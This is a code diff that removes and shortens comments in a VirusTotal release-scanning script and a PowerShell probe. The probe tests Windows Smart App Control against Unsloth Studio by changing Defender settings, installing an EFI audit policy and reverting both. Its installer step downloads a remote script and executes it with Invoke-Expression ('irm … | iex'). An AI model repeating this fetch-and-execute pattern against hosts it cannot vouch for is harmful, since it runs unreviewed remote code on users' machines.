@@ -621,7 +561,6 @@ def main(argv: list[str] | None = None) -> int:
print("::error::give --candidate or --candidate-sha256")
return 1
- # Checked before the key, so a misconfigured run fails on the thing it can see.
candidate_sha = args.candidate_sha256
if args.candidate:
if not args.candidate.is_file():
@@ -632,15 +571,13 @@ def main(argv: list[str] | None = None) -> int:
api_key = os.environ.get(API_KEY_ENV, "").strip()
if not api_key:
- # VOID, and exit 3. A missing key is the most likely reason this ever produces no comparison,
- # and it must not be spelled the same as "nothing got worse".
+ # Missing key is VOID (exit 3), not "nothing got worse".
print(f"::warning::{API_KEY_ENV} is not set, so nothing was compared.")
print("::warning::COULD NOT MEASURE. This is a missing key, not a clean result.")
return 3
client = VirusTotalClient(api_key, request_interval = args.request_interval)
- # One budget shared across both lookups, so a slow baseline cannot leave the candidate with the
- # whole remaining job timeout and still overrun it.
+ # One budget for both lookups so a slow baseline cannot overrun the job timeout.
deadline = time.monotonic() + LOOKUP_BUDGET_SECONDS
baseline = fetch(client, args.baseline_sha256, "baseline", deadline = deadline)
candidate = fetch(client, candidate_sha, "candidate", deadline = deadline)
diff --git a/scripts/virustotal_scan.py b/scripts/virustotal_scan.py
index b9c9cf234e3..59238bbdc55 100644
--- a/scripts/virustotal_scan.py
+++ b/scripts/virustotal_scan.py
@@ -36,10 +36,9 @@ from typing import Callable, Iterable, Sequence
API_ROOT = "https://www.virustotal.com/api/v3"
API_KEY_ENV = "VT_API_KEY"
-# Signature sidecars are a few hundred bytes of base64 produced by the Tauri updater signer.
SKIPPED_SUFFIXES = (".sig",)
-# The public API allows 4 requests/minute. 20s between requests keeps us just inside that even if the runner clock and VirusTotal's window disagree slightly.
+# Public API allows 4 requests/minute; 20s leaves slack for clock skew.
DEFAULT_REQUEST_INTERVAL = 20.0
DEFAULT_TIMEOUT_SECONDS = 1500.0
@@ -47,11 +46,10 @@ DEFAULT_TIMEOUT_SECONDS = 1500.0
DEFAULT_FAIL_THRESHOLD = 0
_MAX_ATTEMPTS = 4
-# A failed upload means fetching a fresh signed URL, so this is deliberately small: each retry re-sends 40+ MB and spends two more requests of quota.
+# Small: each retry re-sends 40+ MB and spends two requests of quota.
_UPLOAD_ATTEMPTS = 2
_SOCKET_TIMEOUT = 300.0
-# Transport contract: (method, url, headers, body, timeout) -> (status, response_bytes).
Transport = Callable[[str, str, "dict[str, str]", "bytes | None", float], "tuple[int, bytes]"]
@@ -104,7 +102,6 @@ def parse_stats(raw: object) -> ScanStats:
suspicious = _count("suspicious"),
undetected = _count("undetected"),
harmless = _count("harmless"),
- # `confirmed-timeout` is a separate bucket that means the same thing to us.
timeout = _count("timeout") + _count("confirmed-timeout"),
)
@@ -163,7 +160,7 @@ def _md_text(text: str) -> str:
return escaped.replace("<", "&lt;").replace(">", "&gt;")
-# Also written by the workflow's placeholder step, so a reader sees one heading whether or not the scan produced a summary. Says neither "pre-flight" nor "post-publish": the scan runs after `publish-release`, but `inputs.draft` defaults to true, so the ordinary run has uploaded the assets to a draft rather than published them, and naming the assets is the only wording true of both dispatches.
+# Also written by the workflow's placeholder step. Names the assets since the release may be a draft.
SUMMARY_HEADING = "### VirusTotal release asset scan"
@@ -262,7 +259,6 @@ def _default_transport(
with urllib.request.urlopen(request, timeout = timeout, context = context) as response:
return response.status, response.read()
except urllib.error.HTTPError as error:
- # 404 on a hash lookup is an expected control-flow signal, not a failure.
return error.code, error.read()
@@ -331,13 +327,12 @@ class VirusTotalClient:
if deadline is not None and self._clock() >= deadline:
raise TimeoutError(f"deadline reached before {method} {_redact_url(url)}")
self._throttle(deadline)
- # Re-check: pacing sleeps between the check above and the call below, so without this a request could start after the deadline and then block for the full socket timeout, overrunning the step's own budget.
+ # Re-check: pacing may have slept past the deadline.
if deadline is not None and self._clock() >= deadline:
raise TimeoutError(
f"deadline reached while pacing before {method} {_redact_url(url)}"
)
try:
- # Clamp the socket budget to what is left.
socket_timeout = _SOCKET_TIMEOUT
if deadline is not None:
socket_timeout = max(1.0, min(socket_timeout, deadline - self._clock()))
@@ -349,7 +344,6 @@ class VirusTotalClient:
self._last_request_at = self._clock()
if status == 429:
- # Quota or minute-rate exhaustion.
last_error = "429 rate limited"
if attempt < max_attempts:
self._backoff(backoff * (2 ** (attempt - 1)), deadline)
@@ -388,7 +382,8 @@ class VirusTotalClient:
if status == 404:
return None
if not isinstance(payload, dict):
- # A 200 whose body did not parse (a proxy error page, a truncated read) proves nothing about whether VirusTotal holds this file. Returning None would be indistinguishable from a 404 and would upload the bundle, disclosing an unreleased build. Fail closed instead.
+ # A malformed 200 body must not look like a 404, which would upload an unreleased
+ # build. Fail closed.
raise RuntimeError("VirusTotal hash lookup returned a malformed body")
return payload
@@ -407,7 +402,7 @@ class VirusTotalClient:
upload_url = payload.get("data") if isinstance(payload, dict) else None
if not isinstance(upload_url, str) or not upload_url:
raise RuntimeError("VirusTotal did not return an upload URL")
- # Mask before the URL is ever used, so anything that later echoes it (a traceback, a future debug print, a library error string) is scrubbed.
+ # Mask before first use so any later echo is scrubbed.
_mask_in_actions(upload_url)
try:
@@ -431,7 +426,7 @@ class VirusTotalClient:
if isinstance(payload, dict) and isinstance(payload.get("data"), dict):
analysis_id = payload["data"].get("id")
if not isinstance(analysis_id, str) or not analysis_id:
- # An accepted upload whose acknowledgement did not parse is a failed attempt, not a dead end: VirusTotal may well be analysing the file already. Raising straight out would report the asset unavailable after we had paid the disclosure cost of sending it, so spend the remaining attempt on a fresh signed URL instead.
+ # Unparsed upload ack: retry with a fresh URL, since the disclosure cost is already paid.
last_error = RuntimeError("VirusTotal upload did not return an analysis id")
if attempt < attempts:
continue
@@ -443,7 +438,6 @@ class VirusTotalClient:
def wait_for_analysis(self, analysis_id: str, deadline: float) -> object:
"""Poll until the analysis completes or the caller's deadline passes."""
while True:
- # Checked inside request() too, but raising the analysis-specific message here keeps the summary row readable.
if self._clock() >= deadline:
raise TimeoutError(f"analysis {analysis_id} did not complete before the deadline")
_, payload = self.request(
@@ -524,7 +518,6 @@ def scan_file(client: VirusTotalClient, path: Path, deadline: float) -> FileRepo
return report
analysis_id = client.upload(path, deadline = deadline)
- # wait_for_analysis only returns once status == "completed".
attributes = _attributes(client.wait_for_analysis(analysis_id, deadline))
_record(
report,
@@ -560,7 +553,7 @@ def _emit(report: FileReport) -> None:
flush = True,
)
if report.detections:
- # ::warning:: and not ::error:: so the release still ships; see the module docstring.
+ # ::warning:: so the release still ships.
print(
f"::warning title=VirusTotal detection::{_gha_escape(report.name)}: "
f"{stats.malicious} malicious, {stats.suspicious} suspicious "
@@ -623,7 +616,7 @@ def collect_paths(paths: Sequence[Path]) -> list[Path]:
def main(argv: Sequence[str] | None = None) -> int:
args = build_parser().parse_args(argv)
- # The key never comes from argv: CLI arguments are world-readable in /proc.
+ # Never from argv: CLI arguments are world-readable in /proc.
api_key = os.environ.get(API_KEY_ENV, "").strip()
def _write_markdown(text: str) -> None:
@@ -632,7 +625,8 @@ def main(argv: Sequence[str] | None = None) -> int:
args.output_markdown.write_text(text, encoding = "utf-8")
if not api_key:
- # A missing secret must never break a release: forks and re-runs by contributors without the org secret still have to be able to publish. The env var NAME is written out literally rather than interpolated from API_KEY_ENV; test_missing_key_skips_without_failing asserts the two stay in step.
+ # A missing secret must not break a release.
+ # test_missing_key_skips_without_failing checks the literal name.
print(
"virustotal_scan: VT_API_KEY is unset or empty; skipping the scan.",
flush = True,
diff --git a/scripts/windows_sac_probe/redact_logs.py b/scripts/windows_sac_probe/redact_logs.py
index e2b2bb4787f..cd9724dd8ab 100644
--- a/scripts/windows_sac_probe/redact_logs.py
+++ b/scripts/windows_sac_probe/redact_logs.py
@@ -12,7 +12,7 @@ from pathlib import Path
def backend_dir(explicit: str | None) -> Path:
if explicit:
return Path(explicit)
- import studio # the installed package, beside the interpreter this runs under
+ import studio
return Path(studio.__file__).resolve().parent / "backend"
diff --git a/scripts/windows_sac_probe/sac-probe.ps1 b/scripts/windows_sac_probe/sac-probe.ps1
index 80524bfde72..e7fbe71afc3 100644
--- a/scripts/windows_sac_probe/sac-probe.ps1
+++ b/scripts/windows_sac_probe/sac-probe.ps1
@@ -23,26 +23,21 @@ param(
[ValidateSet('prepare', 'run', 'collect', 'revert')]
[string] $Stage,
- # Where evidence and the baseline are kept. Must survive between stages.
[string] $WorkDir = "$env:USERPROFILE\unsloth-sac-probe",
# Path to SmartAppControlAuditNoISG.bin from https://aka.ms/sacauditpolicies.
[string] $AuditPolicy,
- # Label for this run, so the four matrix cells do not overwrite each other.
[string] $Label = 'run',
[string] $Model = 'unsloth/Qwen3.5-2B-MTP-GGUF:UD-Q4_K_XL',
- # prepare only: skip the Defender signature update, which is slow.
[switch] $SkipUpdates,
[switch] $UpgradePackages,
- # run only: skip the Studio scenario and just do the signature inventory.
[switch] $SkipStudio,
- # prepare only: do not install Unsloth Studio when it is missing.
[switch] $SkipInstall,
[switch] $SendSamples,
@@ -50,7 +45,6 @@ param(
[int] $Port = 8888
)
-# A relative -WorkDir resolves against this shell's location once, so every path below is absolute.
$WorkDir = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($WorkDir)
$ErrorActionPreference = 'Stop'
@@ -59,7 +53,6 @@ $NOISG_GUID = '{5283AC0F-FFF1-49AE-ADA1-8A933130CAD6}'
$NOISG_DEST = "S:\efi\microsoft\boot\cipolicies\active\$NOISG_GUID.cip"
$CI_LOG = 'Microsoft-Windows-CodeIntegrity/Operational'
-# A configured path the way Studio normalises one (utils/paths/storage_roots.studio_root)
function Resolve-ConfiguredPath([string] $value) {
if (-not $value) { return $null }
$trimmed = $value.Trim()
@@ -72,14 +65,12 @@ function Resolve-ConfiguredPath([string] $value) {
try { return [IO.Path]::GetFullPath($trimmed) } catch { return $trimmed }
}
-# The configured Studio home, in Studio's precedence
function Get-StudioHomeOverride {
$override = Resolve-ConfiguredPath $env:UNSLOTH_STUDIO_HOME
if (-not $override) { $override = Resolve-ConfiguredPath $env:STUDIO_HOME }
return $override
}
-# UNSLOTH_HOME, the portable master root: studio\ is its child and llama.cpp\ its sibling
function Get-UnslothMasterRoot {
return (Resolve-ConfiguredPath $env:UNSLOTH_HOME)
}
@@ -92,20 +83,18 @@ function Get-StudioHome {
return (Join-Path $env:USERPROFILE '.unsloth\studio')
}
-# The runtime Studio actually loads, in Studio's own order (llama_cpp.py _find_llama_server_binary)
+# In Studio's own order (llama_cpp.py _find_llama_server_binary).
function Get-LlamaDir {
$binary = Resolve-ConfiguredPath $env:LLAMA_SERVER_PATH
if ($binary) { return (Split-Path -Parent $binary) }
$installDir = Resolve-ConfiguredPath $env:UNSLOTH_LLAMA_CPP_PATH
if ($installDir) { return $installDir }
- # The master root outranks a studio home here, as in _resolved_studio_root_and_is_legacy
$master = Get-UnslothMasterRoot
if ($master) { return (Join-Path $master 'llama.cpp') }
$override = Get-StudioHomeOverride
if ($override) { return (Join-Path $override 'llama.cpp') }
return (Join-Path $env:USERPROFILE '.unsloth\llama.cpp')
}
-# The managed venv.
$VENV_DIR = Join-Path (Get-StudioHome) 'unsloth_studio'
function Resolve-LlamaDir([string] $dir) {
@@ -128,12 +117,12 @@ function Resolve-LlamaDir([string] $dir) {
}
$PE_EXT = @('.exe', '.dll', '.pyd', '.sys', '.ocx', '.cpl', '.scr')
-# unsloth_cli reads UNSLOTH_STUDIO_PASSWORD itself and treats it as set-the-initial-password, so launching with it set hard-errors on any Studio that already has one
+# unsloth_cli treats UNSLOTH_STUDIO_PASSWORD as the initial password and errors if one exists.
$STUDIO_PASSWORD = $env:UNSLOTH_STUDIO_PASSWORD
Remove-Item Env:\UNSLOTH_STUDIO_PASSWORD -ErrorAction SilentlyContinue
$CI_EVENT_IDS = @(3033, 3076, 3077, 3089, 3090, 3091, 3092, 3099)
-# Native commands do not throw under $ErrorActionPreference = 'Stop' in Windows PowerShell
+# Native commands do not throw under ErrorActionPreference Stop in Windows PowerShell.
function Invoke-Native([string] $Exe, [string[]] $Arguments) {
& $Exe @Arguments
if ($LASTEXITCODE -ne 0) {
@@ -141,7 +130,6 @@ function Invoke-Native([string] $Exe, [string[]] $Arguments) {
}
}
-# The audit policy lives in the EFI system partition.
$EFI_OWNED_MARKER = Join-Path $WorkDir '.efi-mounted-by-probe'
function Mount-Efi {
@@ -161,7 +149,6 @@ function Mount-Efi {
return $true
}
-# Set when a dismount failed, and read by prepare and revert before either reports success.
$script:EfiStillMounted = $false
function Dismount-Efi([bool] $Mounted) {
@@ -176,7 +163,6 @@ function Dismount-Efi([bool] $Mounted) {
}
}
-# Retries a dismount an earlier stage could not complete.
function Clear-EfiOwnership {
if (-not (Test-Path -LiteralPath $EFI_OWNED_MARKER)) { return }
if (-not (Test-Path -LiteralPath 'S:\')) {
@@ -184,7 +170,6 @@ function Clear-EfiOwnership {
return
}
if (-not (Test-Path -LiteralPath 'S:\EFI\Microsoft\Boot')) {
- # Somebody else's volume took the letter after our mount went away.
Write-Warning 'S: is no longer the EFI system partition; leaving the drive letter alone and dropping this probe''s claim on it'
Remove-Item -LiteralPath $EFI_OWNED_MARKER -Force -ErrorAction SilentlyContinue
return
@@ -193,7 +178,8 @@ function Clear-EfiOwnership {
Dismount-Efi $true
}
-# $null when CiTool could not list the policies. -lp also lists inactive policies, which carry IsEnforced=false.
+# $null when CiTool could not list the policies.
+# -lp also lists inactive policies, which carry IsEnforced=false.
function Test-PolicyActive([string] $Guid) {
$bare = $Guid.Trim('{', '}').ToLowerInvariant()
$policies = (Get-SacState).Policies
@@ -219,7 +205,7 @@ function Get-CiLogSettings {
return [pscustomobject]@{ Enabled = $enabled; MaxSize = $maxSize }
}
-# Does a preference that reads back as $actual carry the value $expected asked for? $true match, $false mismatch, $null when it could not be decided.
+# $true match, $false mismatch, $null when it could not be decided.
function Test-MpPreferenceMatch($actual, $expected, [Type] $type) {
if ($null -eq $actual) { return $false }
if ($expected -is [bool] -or $actual -is [bool]) { return ([bool]$actual -eq [bool]$expected) }
@@ -281,7 +267,6 @@ function Get-SacState {
2 { 'evaluation' }
default { 'absent' }
}
- # $null, not empty, when the listing failed or is not the expected JSON
$policies = $null
try {
$raw = & CiTool.exe -lp --json 2>$null
@@ -319,9 +304,7 @@ function Get-StudioPython {
return $null
}
-# The venv the RUNNING Studio uses, not the default location.
function Resolve-VenvDir([string] $dir) {
- # Recorded by run and read back by collect when $dir is given, the way the llama.cpp selection already is.
if ($dir) {
$recorded = Join-Path $dir 'venv-selection.txt'
if (Test-Path -LiteralPath $recorded) {
@@ -335,7 +318,6 @@ function Resolve-VenvDir([string] $dir) {
}
function Resolve-StudioHomeFor([string] $dir) {
- # run records the home the backend was launched with.
if ($dir) {
$recordedHome = Join-Path $dir 'studio-home.txt'
if (Test-Path -LiteralPath $recordedHome) {
@@ -364,7 +346,6 @@ function Test-StudioResponding([int] $port) {
try {
$r = Invoke-WebRequest -Uri "http://127.0.0.1:$port/api/liveness" -TimeoutSec 5 -UseBasicParsing
if ($r.StatusCode -ne 200) { return $false }
- # Identity, not a bare status code.
$body = $null
try { $body = $r.Content | ConvertFrom-Json } catch { return $false }
return ($body.service -eq 'Unsloth UI Backend')
@@ -375,11 +356,11 @@ function Test-StudioResponding([int] $port) {
function Get-ScopeTail([string] $root) {
$trimmed = ($root -replace '^[A-Za-z]:', '').TrimEnd('\', '/')
- # A runtime at the root of a volume trims to nothing, and the tail would then be a lone separator, which every path in this machine-wide channel contains.
+ # A volume-root runtime trims to nothing, and a lone separator would match every path.
if (-not $trimmed) {
throw "cannot scope CodeIntegrity events to '${root}': a runtime or venv at the root of a volume leaves no path tail, so every event on this machine would be counted as an Unsloth verdict. Move it into a subdirectory, point UNSLOTH_LLAMA_CPP_PATH or LLAMA_SERVER_PATH at that, and run this label again from prepare."
}
- # UNC names reach CodeIntegrity through \Device\Mup\server\share, with one separator before the server; the DOS spelling has two.
+ # UNC names reach CodeIntegrity as \Device\Mup\server\share, with one leading separator.
if ($trimmed.StartsWith('\\')) { $trimmed = $trimmed.Substring(1) }
return ([Management.Automation.WildcardPattern]::Escape($trimmed) + '\')
}
@@ -401,12 +382,10 @@ function Get-EventDataMap($record) {
function Install-Studio {
Write-Section 'Install Unsloth Studio'
- # The documented install command, run exactly as a user would.
Write-Host 'irm https://unsloth.ai/install.ps1 | iex'
$prev = $ErrorActionPreference
$ErrorActionPreference = 'Continue'
try {
- # Out-Host, not a bare call.
Invoke-Expression (Invoke-RestMethod -Uri 'https://unsloth.ai/install.ps1' -TimeoutSec 120) | Out-Host
} catch {
Write-Warning "installer failed: $_"
@@ -420,7 +399,6 @@ function Start-Studio([string] $python, [int] $port, [string] $logPath) {
Write-Host "starting Unsloth Studio on port $port"
# -X utf8 -I -m unsloth_cli is the supported entry point on a locked-down machine, per unsloth_cli/__main__.py.
$cliArgs = @('-X', 'utf8', '-I', '-m', 'unsloth_cli', 'studio', '-p', "$port")
- # One record, so one probe Studio at a time.
if (-not (Stop-ProbeStudio (Get-RunDir))) {
throw "the Unsloth Studio this probe started earlier (see probe-studio.json under $(Get-RunDir)) is still running and could not be stopped; stop it by hand and run this stage again."
}
@@ -518,7 +496,6 @@ function Initialize-Studio([string] $dir, [bool] $allowInstall) {
Write-Host 'Unsloth Studio is not installed on this machine.'
# Which of the trees the installer creates did not exist beforehand.
$unslothHome = Join-Path $env:USERPROFILE '.unsloth'
- # node and whisper.cpp do NOT always live under %USERPROFILE%\.unsloth.
$override = Get-StudioHomeOverride
$installRoots = @($unslothHome, $override, (Split-Path -Parent (Get-LlamaDir))) |
Where-Object { $_ } | Select-Object -Unique
@@ -536,14 +513,12 @@ function Initialize-Studio([string] $dir, [bool] $allowInstall) {
try {
$python = Install-Studio
} finally {
- # The installer may be cancelled after creating administrator-owned trees.
- # Record them even when Ctrl+C bypasses its catch and normal return.
+ # Record created trees even when Ctrl+C bypasses the catch.
$created = @($absentBefore | Where-Object { Test-Path -LiteralPath $_ })
$baselinePath = Join-Path $dir 'baseline.json'
if ($created.Count -gt 0 -and (Test-Path -LiteralPath $baselinePath)) {
$b = Get-Content -LiteralPath $baselinePath -Raw | ConvertFrom-Json
$b.StudioInstalledByProbe = $true
- # Merged, not replaced.
$b.StudioInstallRoots = @(@($b.StudioInstallRoots) + $created |
Where-Object { $_ } | Select-Object -Unique)
Save-ProbeBaseline $b $baselinePath
@@ -559,10 +534,8 @@ function Initialize-Studio([string] $dir, [bool] $allowInstall) {
}
}
Write-Host "managed interpreter: $python"
- # Under raw-logs\, which collect redacts into studio-logs\ and never archives as is
New-Item -ItemType Directory -Force -Path (Join-Path $dir 'raw-logs') | Out-Null
$startLog = Join-Path (Join-Path $dir 'raw-logs') 'studio-start.log'
- # Not discarded.
if (-not (Start-Studio $python $Port $startLog)) {
if ($allowInstall) {
throw "Unsloth Studio did not answer on port $Port within 5 minutes, so its startup loads cannot be observed in this window. See $startLog, fix the cause and run prepare again."
@@ -579,7 +552,6 @@ function Save-Baseline([string] $dir) {
try { $status = Get-MpComputerStatus } catch { }
$ciLog = Get-CiLogSettings
- # Fail before mutating anything whose old value we could not read.
if (-not $mp) {
throw "could not read the Defender preferences that prepare changes, so revert would not be able to restore them. Refusing to modify this machine. Underlying error: $mpError"
}
@@ -607,13 +579,10 @@ function Save-Baseline([string] $dir) {
AntivirusSignatureVersion = if ($status) { $status.AntivirusSignatureVersion } else { $null }
CiLogEnabled = $ciLog.Enabled
CiLogMaxSize = $ciLog.MaxSize
- # revert repairs ACLs only on trees this run created; see Invoke-Revert.
StudioInstalledByProbe = $false
StudioInstallRoots = @()
AuditPolicyApplied = $false
- # $true when an unsigned control raised 3076/3077 under the applied policy, $false never (prepare throws), $null when no control could be built.
AuditPolicyControlFired = $null
- # The same question for the cell that runs with no -AuditPolicy at all, where the only thing that can produce a verdict is Smart App Control enforcing for real.
SacControlFired = $null
AuditPolicyPreexisting = $false
RevertCompletedAt = $null
@@ -624,7 +593,6 @@ function Save-Baseline([string] $dir) {
return $baseline
}
-# Proves the audit policy is not merely listed but actually evaluating loads.
function Save-ProbeBaseline($Baseline, [string] $Path) {
$tmp = "$Path.tmp"
$Baseline | ConvertTo-Json -Depth 6 | Set-Content -LiteralPath $tmp -Encoding UTF8
@@ -635,7 +603,7 @@ function Save-ProbeBaseline($Baseline, [string] $Path) {
}
}
-# A -WorkDir on roaming or shared storage can carry another machine's baseline; its settings are not this machine's.
+# A shared -WorkDir can carry another machine's baseline.
function Assert-BaselineIsThisMachine($Baseline) {
if ($Baseline -and $Baseline.ComputerName -and $Baseline.ComputerName -ne $env:COMPUTERNAME) {
throw "label '$Label' was prepared on $($Baseline.ComputerName), not $($env:COMPUTERNAME); its baseline describes that machine, so no stage uses it here. Use a -WorkDir local to this machine, or a new -Label."
@@ -661,7 +629,6 @@ function Test-EventDataFromPolicy($data, [string] $Guid, [string] $NamePattern =
$otherId = $true
}
}
- # The name is a fallback for events without a policy ID; an ID naming another policy wins.
return ($named -and -not $otherId)
}
@@ -684,9 +651,7 @@ function Test-AuditPolicyEvaluating([int[]] $AcceptIds = @(3076, 3077), [string]
Write-Warning 'Add-Type reported success but produced no control binary; the audit policy has NOT been shown to evaluate loads here.'
return $null
}
- # Launch failure is not an error here.
try { & $control 2>&1 | Out-Null } catch { }
- # Polled, not slept once.
foreach ($attempt in 1..10) {
Start-Sleep -Seconds 3
$fired = @(Get-WinEvent -FilterHashtable @{
@@ -704,12 +669,10 @@ function Test-AuditPolicyEvaluating([int[]] $AcceptIds = @(3076, 3077), [string]
}
return $false
} finally {
- # Never left behind, and never staged into the evidence
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
}
}
-# Machine-wide, so a label prepared under another -WorkDir is seen too.
function Get-PendingRegistry {
return (Join-Path $env:ProgramData 'unsloth-sac-probe\pending')
}
@@ -722,20 +685,17 @@ function Get-PendingEntry([string] $dir) {
return (Join-Path (Get-PendingRegistry) ($hash.Substring(0, 16) + '.txt'))
}
-# A label whose baseline is not spent still has its changes on this machine.
function Get-UnrevertedLabel([string] $dir) {
$candidates = @(Get-ChildItem -LiteralPath (Split-Path -Parent $dir) -Directory -ErrorAction SilentlyContinue |
ForEach-Object { $_.FullName })
$self = Get-PendingEntry $dir
foreach ($entry in @(Get-ChildItem -LiteralPath (Get-PendingRegistry) -File -Filter '*.txt' -ErrorAction SilentlyContinue)) {
if ($entry.FullName -eq $self) {
- # Retry only against the original baseline. A missing WorkDir must
- # not turn this label's installed policy into a fresh baseline.
+ # A missing WorkDir must not turn this label's installed policy into a fresh baseline.
if (-not (Test-Path -LiteralPath (Join-Path $dir 'baseline.json'))) { return $dir }
continue
}
- # A pending machine-wide claim remains authoritative when its WorkDir is
- # disconnected, renamed or unreadable. Do not snapshot its changes as baseline.
+ # A pending machine-wide claim stays authoritative when its WorkDir is unreadable.
$recorded = Get-Content -LiteralPath $entry.FullName -Raw -ErrorAction Stop
if (-not $recorded -or -not $recorded.Trim()) {
throw "pending probe entry $($entry.FullName) is empty; recover its baseline and revert before preparing another label"
@@ -775,11 +735,9 @@ function Invoke-Prepare {
Assert-BaselineIsThisMachine $previous
}
if ($previous -and -not $previous.RevertCompletedAt) {
- # A retry of this label whose changes are still on the machine.
$baseline = $previous
Write-Warning "reusing the baseline captured at $($baseline.CapturedAt) by an earlier prepare of this label; revert restores that state"
} else {
- # No baseline, or one whose revert completed
if ($previous) {
Write-Host "the previous run of label '$Label' was reverted at $($previous.RevertCompletedAt); capturing a fresh baseline"
}
@@ -795,13 +753,11 @@ function Invoke-Prepare {
if (-not $SkipUpdates) {
Write-Section 'Updates'
- # Best effort.
try {
Write-Host 'Update-MpSignature ...'
Update-MpSignature -ErrorAction Stop
} catch { Write-Warning "Update-MpSignature failed: $_" }
}
- # Always cleared, so the transcript in the run directory describes this pass
Remove-Item -LiteralPath (Join-Path $dir 'winget-upgrade.log') -Force -ErrorAction SilentlyContinue
if ($UpgradePackages) {
try {
@@ -812,7 +768,6 @@ function Invoke-Prepare {
}
Write-Section 'Raise security settings'
- # Deliberately only the reversible ones.
$wanted = [ordered]@{
DisableRealtimeMonitoring = $false
MAPSReporting = 'Advanced'
@@ -832,7 +787,7 @@ function Invoke-Prepare {
Write-Warning "could not set Defender $name : $_"
}
}
- # Read back, because a tamper-protected or policy-managed preference is IGNORED rather than refused
+ # Read back: a tamper-protected preference is ignored rather than refused.
$applied = $null
try { $applied = Get-MpPreference } catch { }
if (-not $applied) {
@@ -862,7 +817,7 @@ function Invoke-Prepare {
}
Write-Section 'CodeIntegrity log'
- # The default 1 MB fills quickly once a policy is auditing every load, and a wrapped log silently loses the events this whole exercise exists to catch.
+ # The default 1 MB log wraps quickly under auditing and silently loses events.
try {
Invoke-Native 'wevtutil.exe' @('sl', $CI_LOG, '/e:true', '/ms:67108864')
} catch {
@@ -877,7 +832,6 @@ function Invoke-Prepare {
}
Write-Host ("CodeIntegrity/Operational enabled, max size {0} (was enabled={1}, maxSize={2})" -f $ciNow.MaxSize, $baseline.CiLogEnabled, $baseline.CiLogMaxSize)
- # Every failure from here on rolls back the policy once it was copied.
$policyCopied = $false
$prepareCompleted = $false
try {
@@ -886,12 +840,11 @@ function Invoke-Prepare {
if (-not (Test-Path -LiteralPath $AuditPolicy)) {
throw "audit policy not found: $AuditPolicy"
}
- # The NoISG policy checks signatures only and skips the cloud reputation lookup, which is why it works even with Smart App Control off.
+ # NoISG checks signatures only, so it works with Smart App Control off.
$mounted = Mount-Efi
try {
- # A file already there is somebody's policy only if this label did not put it there
if ((Test-Path -LiteralPath $NOISG_DEST) -and -not $baseline.AuditPolicyApplied) {
- # Keep it so revert restores it instead of deleting an administrator's policy.
+ # Keep it so revert restores an administrator's policy instead of deleting it.
New-Item -ItemType Directory -Force -Path (Split-Path $ROLLBACK_POLICY) | Out-Null
Copy-Item -LiteralPath $NOISG_DEST -Destination $ROLLBACK_POLICY -Force
$baseline.AuditPolicyPreexisting = $true
@@ -917,7 +870,6 @@ function Invoke-Prepare {
foreach ($p in $after.Policies) {
Write-Host (" policy {0} enforced={1}" -f $p.FriendlyName, $p.IsEnforced)
}
- # Printing whatever is listed is not verification.
if ($null -eq $after.Policies) {
throw "CiTool could not list the policies, so the audit policy cannot be verified as active"
}
@@ -925,7 +877,7 @@ function Invoke-Prepare {
throw "the audit policy $NOISG_GUID is not in the active policy set after refresh"
}
if ($after.Policies.Count -eq 0) {
- # No policy list means no evidence the policy is active, and a run with no 3076 events would then read as an allow verdict.
+ # Without a policy list, a run with no 3076 events would wrongly read as an allow verdict.
throw "CiTool listed no policies, so the audit policy cannot be verified as active"
}
@@ -942,11 +894,9 @@ function Invoke-Prepare {
Write-Host 'and re-run with -AuditPolicy <path to SmartAppControlAuditNoISG.bin> to log what'
Write-Host 'would be blocked. Without it, only real enforcement (3077) shows up, and only on a'
Write-Host 'machine where Smart App Control is genuinely on.'
- # So establish that it is, rather than letting collect infer an allow from a registry read.
$sacBefore = Get-SacState
if ($sacBefore.Mode -eq 'enforcement') {
Write-Section 'Positive control'
- # 3077 only.
$sacFired = Test-AuditPolicyEvaluating -AcceptIds @(3077)
if ($false -eq $sacFired) {
throw "Smart App Control reads as 'enforcement' but an unsigned control binary ran here without being refused with a 3077, so nothing is enforcing against unsigned code on this boot and a window with no events would be meaningless. Re-run prepare with -AuditPolicy, or on a machine where enforcement is live."
@@ -956,7 +906,6 @@ function Invoke-Prepare {
}
}
- # Marks the window collect will export.
foreach ($stale in @(
'scenario-status.json', 'scenario-results.json', 'runtime-selection.json',
'venv-selection.txt', 'studio-home.txt',
@@ -1002,7 +951,7 @@ function Invoke-Prepare {
} elseif ($stillActive) {
Write-Warning "the audit policy $NOISG_GUID was removed but is still active until Windows restarts; restart, then run .\sac-probe.ps1 -Stage revert -Label $Label"
} else {
- # Re-read: Initialize-Studio may have recorded the roots it created since $baseline was loaded.
+ # Re-read: Initialize-Studio may have recorded new roots since $baseline was loaded.
$saved = Get-Content -LiteralPath $baselinePath -Raw | ConvertFrom-Json
$saved.AuditPolicyApplied = $false
Save-ProbeBaseline $saved $baselinePath
@@ -1043,7 +992,8 @@ function Get-SignatureInventory([string] $root) {
}
}
if ($enumErrors.Count -gt 0) {
- # A subtree that could not be read is exactly where the access-denied native module being investigated would sit, and the caller only rejects a completely empty result.
+ # An unreadable subtree is where a blocked module would sit, and the caller only
+ # rejects an empty result.
$script:InventoryErrors += @($enumErrors | ForEach-Object { "${root}: $_" })
Write-Warning "$($enumErrors.Count) path(s) under $root could not be enumerated; this inventory is PARTIAL. See inventory-enumeration-errors.txt."
}
@@ -1053,7 +1003,6 @@ function Invoke-Run {
Assert-Elevated
$dir = Get-RunDir
- # Before anything else.
if (-not (Test-Path -LiteralPath (Join-Path $dir 'baseline.json')) -or
-not (Test-Path -LiteralPath (Join-Path $dir 'window-start.txt'))) {
throw "label '$Label' has no baseline.json and window-start.txt under ${dir}: prepare did not complete for it, so there is nothing to run against. Check the -Label, or run prepare for it first."
@@ -1063,11 +1012,9 @@ function Invoke-Run {
if (Test-Path -LiteralPath $runBaselinePath) {
$runBaseline = Get-Content -LiteralPath $runBaselinePath -Raw | ConvertFrom-Json
Assert-BaselineIsThisMachine $runBaseline
- # A label whose revert already completed.
if ($runBaseline.RevertCompletedAt) {
throw "label '$Label' was reverted at $($runBaseline.RevertCompletedAt), so its baseline is spent and the event window on disk belongs to the run that was undone. Running now would file events from that window against this run's inventory. Run prepare for this label again (or use a new -Label) first."
}
- # The window on disk has to belong to THIS baseline, and the check above cannot see when it does not.
$runStartPath = Join-Path $dir 'window-start.txt'
if (Test-Path -LiteralPath $runStartPath) {
$runStart = $null
@@ -1096,7 +1043,7 @@ function Invoke-Run {
$bootedAt = $null
